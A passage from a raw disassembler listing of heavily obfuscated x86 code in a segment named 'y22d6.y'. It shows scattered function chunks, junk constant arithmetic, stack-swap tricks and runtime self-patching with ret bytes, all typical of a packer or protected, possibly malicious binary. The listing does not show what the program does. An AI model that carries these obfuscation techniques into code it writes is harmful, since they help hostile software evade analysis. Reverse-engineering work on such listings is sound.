sub_44C980 loc_44CA07: ; CODE XREF: sub_44C980:loc_44AC56j or eax, 54D0FA6Ch and eax, 21D11EB1h or eax, 0B28B67FEh rol eax, 15h jmp loc_447D45 ; END OF FUNCTION CHUNK FOR sub_44C980 ; =============== S U B R O U T I N E ======================================= sub_44CA21 proc near ; DATA XREF: sub_4432B8+1D5o add eax, ebp add eax, 0F466DDEEh call sub_438B39 sub_44CA21 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44CA2E: ; CODE XREF: sub_44B489-88A2j jmp loc_43D14F ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ror eax, 2 jmp loc_4433CF ; --------------------------------------------------------------------------- loc_44CA3B: ; CODE XREF: y22d6.y.:loc_448DF3j ; y22d6.y.:00448E05j add esi, 75462B6Fh xchg esi, [esp] jmp loc_439F28 ; --------------------------------------------------------------------------- loc_44CA49: ; CODE XREF: y22d6.y.:0043EA9Fj xor esi, 3FB49B00h xor ebx, 72F56FCEh loc_44CA55: ; CODE XREF: y22d6.y.:loc_438BB4j push eax lea eax, dword_44D0DC jmp loc_445A50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44CA61: ; CODE XREF: sub_43FAC6+D4B7j call sub_439407 loc_44CA66: ; CODE XREF: y22d6.y.:0044DE63j jmp loc_43977F ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B120 loc_44CA6B: ; CODE XREF: sub_44B120+1Fj jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_44B120 ; --------------------------------------------------------------------------- loc_44CA70: ; CODE XREF: y22d6.y.:00442015j jmp locret_43C4FC ; --------------------------------------------------------------------------- loc_44CA75: ; CODE XREF: y22d6.y.:00439CE0j jmp locret_439039 ; --------------------------------------------------------------------------- loc_44CA7A: ; DATA XREF: sub_43DD42-44B9o push eax mov eax, [ebp-8] jmp loc_43BEA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4480DE loc_44CA83: ; CODE XREF: sub_4480DE:loc_44C443j mov eax, [ebp+var_4] call sub_438A67 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jmp loc_43BE95 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_44CA97: ; CODE XREF: sub_446F34:loc_43C2D9j test eax, 400000h jmp loc_44903A ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- loc_44CAA2: ; CODE XREF: y22d6.y.:00448E5Aj jle loc_44092A loc_44CAA8: ; CODE XREF: y22d6.y.:loc_4382DDj push edi mov edi, eax xchg edi, [esp] lea eax, loc_43DD07+1 push eax push eax jmp loc_442EF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44CABB: ; CODE XREF: sub_44AB7B-8867j ; sub_4432B8+211j add ecx, 38040A89h xchg ecx, [esp+18h+var_18] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- call sub_44AC61 loc_44CACE: ; CODE XREF: y22d6.y.:0044B3EDj jmp loc_44A697 ; --------------------------------------------------------------------------- loc_44CAD3: ; CODE XREF: y22d6.y.:0044A85Dj jmp nullsub_12 ; =============== S U B R O U T I N E ======================================= sub_44CAD8 proc near ; CODE XREF: y22d6.y.:0043CB80j ; y22d6.y.:loc_44B60Dp ; FUNCTION CHUNK AT 0044A6E5 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi call sub_44CDB7 mov eax, 0FFB060E7h call sub_43CA1A jmp loc_44A6E5 sub_44CAD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44CAF0: ; CODE XREF: y22d6.y.:loc_43BB00j xchg eax, edx xchg esi, [ebx] ja loc_447E22 jmp loc_44DE4C ; --------------------------------------------------------------------------- loc_44CAFF: ; CODE XREF: y22d6.y.:loc_443A52j test ecx, 200000h jmp loc_442373 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44243B loc_44CB0A: ; CODE XREF: sub_44243B+Fj pop edx sub edx, 75FD310Fh xor edx, 1A901Bh or edx, 0C35E4297h call sub_43991F loc_44CB22: ; CODE XREF: y22d6.y.:0043CA85j push 0AFC1D140h pop esi xor esi, 2BEA7FF6h cmp esi, 0A0BD4128h jmp loc_43DCF8 ; END OF FUNCTION CHUNK FOR sub_44243B ; --------------------------------------------------------------------------- loc_44CB39: ; CODE XREF: y22d6.y.:0044A2A4j jbe loc_4371B2 ; =============== S U B R O U T I N E ======================================= sub_44CB3F proc near ; CODE XREF: sub_43837F:loc_44BD75p ; FUNCTION CHUNK AT 004371AE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004372DB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004375AA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A9F1 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0043CE51 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043F8ED SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00441AE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444720 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449619 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00449823 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004498EC SIZE 00000010 BYTES xchg ecx, [esp+0] pop ecx jnz loc_449619 test byte ptr [ebp-8], 2 jz loc_449826 push ebp jmp loc_441AE2 sub_44CB3F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_44CB59: ; CODE XREF: sub_44066C+9E94j popf or ebx, edx loc_44CB5C: ; CODE XREF: sub_44066C:loc_44A4F8j or eax, 252AD393h and eax, ds:4000E2h jmp loc_44AFDB ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44CB6D: ; CODE XREF: sub_448EB6:loc_448FB1j ; DATA XREF: y22d6.y.:loc_43B969o pop ecx lea eax, sub_439F2D mov byte ptr [eax], 0C3h jmp sub_439F2D ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_44CB7C: ; CODE XREF: sub_439F2Dj pop edx mov eax, [esp+4+var_4] jmp loc_438AA1 ; END OF FUNCTION CHUNK FOR sub_439F2D ; =============== S U B R O U T I N E ======================================= sub_44CB85 proc near ; DATA XREF: y22d6.y.:0043F794o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00446DC4 SIZE 00000005 BYTES popf xchg edx, [esp-4+arg_0] jmp loc_446DC4 sub_44CB85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_44CB8E: ; CODE XREF: sub_4425E0:loc_445514j pop edx and edx, 2ACDF73Ah sub edx, 94C1161Ch add edx, 8CFCBACFh jmp loc_43A4D0 ; END OF FUNCTION CHUNK FOR sub_4425E0 ; =============== S U B R O U T I N E ======================================= sub_44CBA6 proc near ; DATA XREF: sub_44B35D+4o jz loc_44DA43 call nullsub_4 sub_44CBA6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43D20E loc_44CBB1: ; CODE XREF: sub_43D20E:loc_43B66Ej ; sub_43EC51+20j jo loc_438295 xor eax, eax jmp loc_439B10 ; END OF FUNCTION CHUNK FOR sub_43D20E ; =============== S U B R O U T I N E ======================================= sub_44CBBE proc near ; CODE XREF: sub_43CC1A+1863p ; y22d6.y.:004409DDj ; FUNCTION CHUNK AT 004475A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C4BE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CEC8 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx add edx, 0D008774Eh mov [edx], ecx pop edx jmp loc_44C4BE sub_44CBBE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44CBD0: ; CODE XREF: sub_44B17B-BDD9j jz loc_440F58 jmp loc_4393D1 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44CBDB: ; CODE XREF: sub_43B7B5+F56Dj sub eax, esi loc_44CBDD: ; CODE XREF: sub_43B7B5:loc_43D5CFj rol eax, 14h jmp loc_43DC98 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_44CBE5 proc near ; CODE XREF: y22d6.y.:00447121j ; DATA XREF: sub_43FEC6+75ABo ; FUNCTION CHUNK AT 004389F8 SIZE 00000005 BYTES add ecx, 14BAD3h xchg ecx, [esp+0] jmp loc_4389F8 sub_44CBE5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_44CBF3: ; CODE XREF: y22d6.y.:00441CE0j ; sub_43C712+CD1Cj jnb loc_43AC62 xor eax, eax mov [ebp-10h], eax loc_44CBFE: ; CODE XREF: sub_4441D9:loc_44C0F2j cmp dword ptr [ebp-4], 0 jz loc_438C96 jmp loc_440F3A ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- loc_44CC0D: ; CODE XREF: y22d6.y.:0043FD0Fj and ecx, 0A8D62416h shr edx, 8 loc_44CC16: ; CODE XREF: y22d6.y.:loc_44D0A4j mov eax, 0DD960900h call sub_43CA1A call sub_441AE7 loc_44CC25: ; CODE XREF: y22d6.y.:loc_447977j lea eax, nullsub_13 mov byte ptr [eax], 0C3h jmp loc_44CEF3 ; --------------------------------------------------------------------------- loc_44CC33: ; CODE XREF: y22d6.y.:00443B40j mov eax, [esp] push edx jmp loc_4395FA ; --------------------------------------------------------------------------- loc_44CC3C: ; CODE XREF: y22d6.y.:0043741Ej mov [ecx], eax pop ecx lea eax, nullsub_309 mov byte ptr [eax], 0C3h jmp nullsub_309 ; --------------------------------------------------------------------------- loc_44CC4D: ; CODE XREF: y22d6.y.:0043DFB9j push offset loc_43CABE jmp loc_44A605 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_44CC57: ; CODE XREF: sub_439E63:loc_43B4F9j xor ecx, 0EED5B31Ch add eax, ecx loc_44CC5F: ; CODE XREF: y22d6.y.:0044A657j pop ecx xor eax, 4A70CD9Fh ror eax, 16h jmp loc_445C64 ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- loc_44CC6E: ; CODE XREF: y22d6.y.:004382F9j mov edx, [ecx] ; START OF FUNCTION CHUNK FOR sub_44A359 loc_44CC70: ; CODE XREF: sub_44A359:loc_4382E8j or esi, ds:4000E2h call sub_43B656 loc_44CC7B: ; CODE XREF: y22d6.y.:0044A0DAj jmp loc_437DD5 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- loc_44CC80: ; CODE XREF: y22d6.y.:0044B393j jo sub_43C55B cmp edi, esi jmp loc_43E3F6 ; --------------------------------------------------------------------------- cmp byte ptr [eax], 0F1h jnz loc_44891C jmp loc_43FA71 ; =============== S U B R O U T I N E ======================================= sub_44CC9B proc near ; CODE XREF: sub_449CFC-C2B4j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438482 SIZE 00000005 BYTES push ebx push 0CBCA8E79h pop ebx xor ebx, 0B71AC5D4h and ebx, 0CBD6437Eh add ebx, 0B774005Ah xchg ebx, [esp+4+var_4] jmp loc_438482 sub_44CC9B endp ; =============== S U B R O U T I N E ======================================= sub_44CCBC proc near ; DATA XREF: sub_4414E8+1D60o add esi, 5E4E15D8h xchg esi, [esp+0] jmp loc_4442D6 sub_44CCBC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_44CCCA: ; CODE XREF: sub_440395+718Dj xchg ebx, [esp-8+arg_4] push dword ptr [ebp+8] call eax mov [ebp-4], eax jmp loc_448CEF ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- loc_44CCDA: ; CODE XREF: y22d6.y.:0043A0D5j inc ds:dword_44186C lea eax, nullsub_344 mov byte ptr [eax], 0C3h jmp loc_444398 ; --------------------------------------------------------------------------- locret_44CCEE: ; CODE XREF: y22d6.y.:loc_439191j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44051D loc_44CCEF: ; CODE XREF: sub_44051D:loc_438EB6j mov ecx, 8 sub ecx, eax call sub_44563C loc_44CCFB: ; CODE XREF: sub_437B10:loc_4458B7j ; sub_437B10+DDB5j xor eax, 8B0898Fh call sub_43CA1A mov ds:off_41E128, eax lea eax, sub_439F2D jmp loc_44A2D7 ; END OF FUNCTION CHUNK FOR sub_44051D ; --------------------------------------------------------------------------- shr esi, 2 jmp loc_439219 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BD44 loc_44CD1F: ; CODE XREF: sub_43BD44+985Ej push 1C8E52C9h call sub_439A5D ; END OF FUNCTION CHUNK FOR sub_43BD44 ; START OF FUNCTION CHUNK FOR sub_437901 loc_44CD29: ; CODE XREF: sub_437901+1087Aj jmp loc_43BE07 ; END OF FUNCTION CHUNK FOR sub_437901 ; =============== S U B R O U T I N E ======================================= sub_44CD2E proc near ; DATA XREF: sub_4428AA+3o ; FUNCTION CHUNK AT 00441807 SIZE 00000005 BYTES push ecx mov esp, ebp loc_44CD31: ; CODE XREF: y22d6.y.:loc_43B539j push offset loc_43972D jmp loc_441807 sub_44CD2E endp ; --------------------------------------------------------------------------- loc_44CD3B: ; DATA XREF: sub_44BBBA:loc_439D2Do lea eax, [ebp-14h] push eax push ecx push 3AE629C2h pop ecx xor ecx, 5DDDAEA8h or ecx, 0DD11ADACh jmp loc_44896E ; --------------------------------------------------------------------------- loc_44CD57: ; DATA XREF: sub_44CBBE:loc_44CEC8o mov [ebp-6], dx call sub_442DB9 ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_44CD60: ; CODE XREF: sub_44E5C7-FF0Fj jmp loc_447B4D ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_363. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44CD66: ; CODE XREF: y22d6.y.:00444AC2j jmp loc_439C2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D063 loc_44CD6B: ; CODE XREF: sub_44D063:loc_43F1CEj sub ebx, 0A5E293AEh and ebx, 7E3C49A3h add ebx, 0DC140E65h xchg ebx, [esp+0] jmp loc_442E90 ; END OF FUNCTION CHUNK FOR sub_44D063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440330 loc_44CD85: ; CODE XREF: sub_440330:loc_43A2C1j ; sub_43CA1A:loc_44AB11j mov [edi], ebx adc eax, 0E72F686Ah jg loc_440002 jmp loc_43C2DE ; END OF FUNCTION CHUNK FOR sub_440330 ; =============== S U B R O U T I N E ======================================= sub_44CD98 proc near ; CODE XREF: y22d6.y.:0043D54Fp ; y22d6.y.:00442303j xchg esi, [esp+0] pop esi call nullsub_12 jmp ds:dword_41E058 sub_44CD98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44CDA7: ; CODE XREF: sub_444D95-A9F9j jmp loc_44705D ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- loc_44CDAC: ; CODE XREF: y22d6.y.:00441791j push 9712E311h ; =============== S U B R O U T I N E ======================================= sub_44CDB1 proc near ; CODE XREF: sub_43F750+5p xchg esi, [esp+0] pop esi pop ebp retn sub_44CDB1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44CDB7 proc near ; CODE XREF: sub_441F08-A0EBj ; y22d6.y.:00437F7Bj ... ; FUNCTION CHUNK AT 0043CD40 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00441915 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00441D2C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044386E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AADE SIZE 0000000D BYTES push ebp jmp loc_441915 sub_44CDB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44CDBD: ; CODE XREF: sub_448EB6:loc_43DD1Ej jz loc_43BE59 jmp loc_44491D ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A413 loc_44CDC8: ; CODE XREF: sub_44A413+2311j mov eax, [ebp+var_4] mov al, [eax] call sub_43EC1C ; END OF FUNCTION CHUNK FOR sub_44A413 ; START OF FUNCTION CHUNK FOR sub_444581 loc_44CDD2: ; CODE XREF: sub_444581+5854j jmp loc_441B00 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448A59 loc_44CDD7: ; CODE XREF: sub_448A59+11j jnz loc_44891C jmp loc_442ED9 ; END OF FUNCTION CHUNK FOR sub_448A59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B566 loc_44CDE2: ; CODE XREF: sub_43B566:loc_44E0B1j xchg eax, [esp+0] jmp loc_44C741 ; END OF FUNCTION CHUNK FOR sub_43B566 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_365. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44CDEB: ; CODE XREF: sub_43B252+D424j jmp loc_43E3C9 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44CDF0: ; CODE XREF: sub_448EB6:loc_443C42j ; y22d6.y.:004447D3j xor eax, 2BBEDA5h jmp loc_4470AC ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_44CDFB: ; CODE XREF: sub_44A359j mov eax, ds:dword_43E380 or eax, eax jnz loc_43E2FE jmp loc_445B6B ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44CE0E: ; CODE XREF: sub_44BCC2:loc_449269j xchg ecx, [esp+8+var_8] mov edx, ecx pop ecx mov eax, [esp+4+var_4] push edx jmp loc_44C03E ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44CE1D: ; CODE XREF: sub_43C6D7-1A27j or ebx, 0F207F343h add ebx, 944D4B0h popf xchg ebx, [esp+4+var_4] jmp loc_43BACC ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4389FD loc_44CE32: ; CODE XREF: sub_4389FD+7j call sub_44D088 call sub_44A9DF or eax, eax jnz loc_448638 jmp loc_43C2A5 ; END OF FUNCTION CHUNK FOR sub_4389FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446222 loc_44CE49: ; CODE XREF: sub_446222-768j add edi, 80C9A14Eh xchg edi, [esp+4+var_4] jmp loc_43A854 ; END OF FUNCTION CHUNK FOR sub_446222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44CE57: ; CODE XREF: sub_44AEDA-375Bj cmp esi, edx jmp loc_447388 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44CE5E: ; CODE XREF: sub_448EB6:loc_43C677j xchg ebx, [esp-8+arg_4] mov eax, edx push ecx push 128C4D4Ch pop ecx and ecx, 0CAD5AD74h jmp loc_438107 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_44CE75: ; CODE XREF: sub_44B489:loc_442AABj xor eax, 0A92CE68Dh add eax, 0EAADB702h and eax, 0B2D7313Ah cmp eax, 81A64E71h jmp loc_440404 ; END OF FUNCTION CHUNK FOR sub_44B489 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44CE93: ; CODE XREF: sub_4432B8+1E5j jmp loc_443298 ; --------------------------------------------------------------------------- loc_44CE98: ; CODE XREF: sub_4432B8-20E5j jmp nullsub_231 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_44CE9D: ; CODE XREF: sub_43AF5B+10j jmp loc_43CDF7 ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44CEA2: ; CODE XREF: sub_43B7B5+11197j jnz loc_4425F2 jmp loc_445311 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; =============== S U B R O U T I N E ======================================= sub_44CEAD proc near ; CODE XREF: sub_43878A+Bp ; y22d6.y.:0043A479j xchg ecx, [esp+0] pop ecx pop ebp push esi jmp loc_44C043 sub_44CEAD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44CEB8 proc near ; CODE XREF: y22d6.y.:00447E72j ; sub_43DA5D+10876p ; FUNCTION CHUNK AT 0043CB23 SIZE 00000014 BYTES xchg eax, [esp+0] pop eax push edi push 0F7DA236h pop edi jmp loc_43CB23 sub_44CEB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CBBE loc_44CEC8: ; CODE XREF: sub_44CBBE:loc_44C4BEj push offset loc_44CD57 jmp loc_4475A9 ; END OF FUNCTION CHUNK FOR sub_44CBBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_44CED2: ; CODE XREF: sub_447896+Aj pop edx mov eax, [esp-8+arg_4] push edx push offset sub_44234B jmp nullsub_234 ; END OF FUNCTION CHUNK FOR sub_447896 ; =============== S U B R O U T I N E ======================================= sub_44CEE1 proc near ; DATA XREF: sub_4383E0+5456o ; FUNCTION CHUNK AT 0043BE45 SIZE 00000012 BYTES push 0D90C8814h pop edi sub edi, 23DEA785h js loc_43BE45 loc_44CEF3: ; CODE XREF: y22d6.y.:0044CC2Ej jmp nullsub_13 sub_44CEE1 endp ; --------------------------------------------------------------------------- add eax, ecx test esi, ebx jmp loc_43A5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44CF01: ; CODE XREF: sub_448EB6:loc_444F6Aj call sub_43BE66 loc_44CF06: ; CODE XREF: y22d6.y.:loc_443CAAj push 7A8A3C05h pop eax or eax, ds:4000E0h rol eax, 5 jb loc_444FDF loc_44CF1B: ; CODE XREF: y22d6.y.:004401BDj jmp loc_440364 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- test eax, 118A81A8h jmp loc_43AC0B ; --------------------------------------------------------------------------- loc_44CF2B: ; DATA XREF: sub_43D65C+Ao mov edx, [ebp+8] call sub_43BD44 rol eax, 19h xor eax, 9E6EE632h push esi push 67A56683h pop esi jmp loc_441BE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEA5 loc_44CF48: ; CODE XREF: sub_44AEA5:loc_4486C6j mov ebx, ebp pop ebp and ebx, 0A253AEACh add ebx, 0E0412E5Eh xchg ebx, [esp+0] jmp sub_44B267 ; END OF FUNCTION CHUNK FOR sub_44AEA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_44CF5F: ; CODE XREF: sub_43B0EE+3689j jz loc_440046 jmp loc_4393B8 ; END OF FUNCTION CHUNK FOR sub_43B0EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_44CF6A: ; CODE XREF: sub_440494-2AF8j xor ebp, 4A430CEh mov ebx, [edi] not ebx mov edx, [ecx] jmp loc_448917 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44CF7B: ; CODE XREF: sub_43FAC6+4269j sub al, 99h jmp loc_44CA61 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_44CF82: ; CODE XREF: y22d6.y.:00444417j push offset sub_4497AF jmp locret_43DFFE ; --------------------------------------------------------------------------- jle loc_439CEA sub ebp, eax jmp sub_439B1A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44CF9A: ; CODE XREF: y22d6.y.:0043E566j jmp loc_449568 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_44CF9F: ; CODE XREF: sub_43FBC3-21ABj jmp loc_446EBD ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; =============== S U B R O U T I N E ======================================= sub_44CFA4 proc near ; DATA XREF: sub_44A793+111Bo call sub_44C758 mov eax, 1C5E06BAh call sub_43CA1A sub_44CFA4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_440280 loc_44CFB3: ; CODE XREF: sub_440280+75DFj mov ds:off_41E0FC, eax lea eax, sub_44A793 jmp loc_441C14 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C62A loc_44CFC4: ; CODE XREF: sub_43C62A+5B47j call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_43C62A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404D1 loc_44CFCA: ; CODE XREF: sub_4404D1+353Ej jmp nullsub_308 ; END OF FUNCTION CHUNK FOR sub_4404D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_44CFCF: ; CODE XREF: sub_439A90+2122j jmp loc_44C831 ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449C0 loc_44CFD4: ; CODE XREF: sub_4449C0+Aj push ecx push 650BC8DAh jmp loc_44B211 ; END OF FUNCTION CHUNK FOR sub_4449C0 ; =============== S U B R O U T I N E ======================================= sub_44CFDF proc near ; CODE XREF: y22d6.y.:00441304j ; sub_4422AA+80BBp xchg esi, [esp+0] pop esi call sub_44B267 loc_44CFE8: ; CODE XREF: sub_43F750:loc_4407DCj ; y22d6.y.:00445392j push 0C8541F59h pop eax add eax, 94CC7B7Bh sub eax, 9C7B5107h jmp loc_44D7FA sub_44CFDF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44CFFF: ; CODE XREF: y22d6.y.:00448E72j rol ecx, 11h ; =============== S U B R O U T I N E ======================================= sub_44D002 proc near ; CODE XREF: sub_44E16C+Fp xchg edx, [esp+0] pop edx ror eax, 0Ah loc_44D009: ; CODE XREF: y22d6.y.:0044892Aj jmp loc_43DB99 sub_44D002 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_44D00E: ; CODE XREF: sub_4416F3+9C99j add eax, 7CFA5467h add eax, ebp add eax, 0EB8FCBD6h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_43BF2C jmp loc_442E39 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- loc_44D02C: ; CODE XREF: y22d6.y.:00447D6Bj ror ebp, 1 ; =============== S U B R O U T I N E ======================================= sub_44D02E proc near ; CODE XREF: sub_44271A:loc_445C46p xchg edi, [esp+0] pop edi pop ebx lea eax, loc_4475CC mov byte ptr [eax], 0C3h jmp loc_44D9AD sub_44D02E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44D041 proc near ; CODE XREF: sub_405168+39p ; y22d6.y.:0043FFF3j ; DATA XREF: ... ; FUNCTION CHUNK AT 0044713B SIZE 00000005 BYTES push esi loc_44D042: ; CODE XREF: sub_439C96:loc_44737Cj push 10A0EBBEh jmp loc_44713B sub_44D041 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA5D loc_44D04C: ; CODE XREF: sub_44AA5D:loc_442648j rol ebx, 1Ah xor ebx, 3FC51C4Dh add ebx, 3F3F1DEEh xchg ebx, [esp+4+var_4] jmp sub_4463CE ; END OF FUNCTION CHUNK FOR sub_44AA5D ; =============== S U B R O U T I N E ======================================= sub_44D063 proc near ; CODE XREF: y22d6.y.:0043A8D6j ; sub_43E139+5BBEp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00438262 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0043F1CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044016D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442E90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CD6B SIZE 0000001A BYTES xchg edx, [esp+0] pop edx pop edx mov eax, [esp-8+arg_4] push edx call sub_438F17 push 424226Dh jmp loc_44016D sub_44D063 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44D07B: ; CODE XREF: 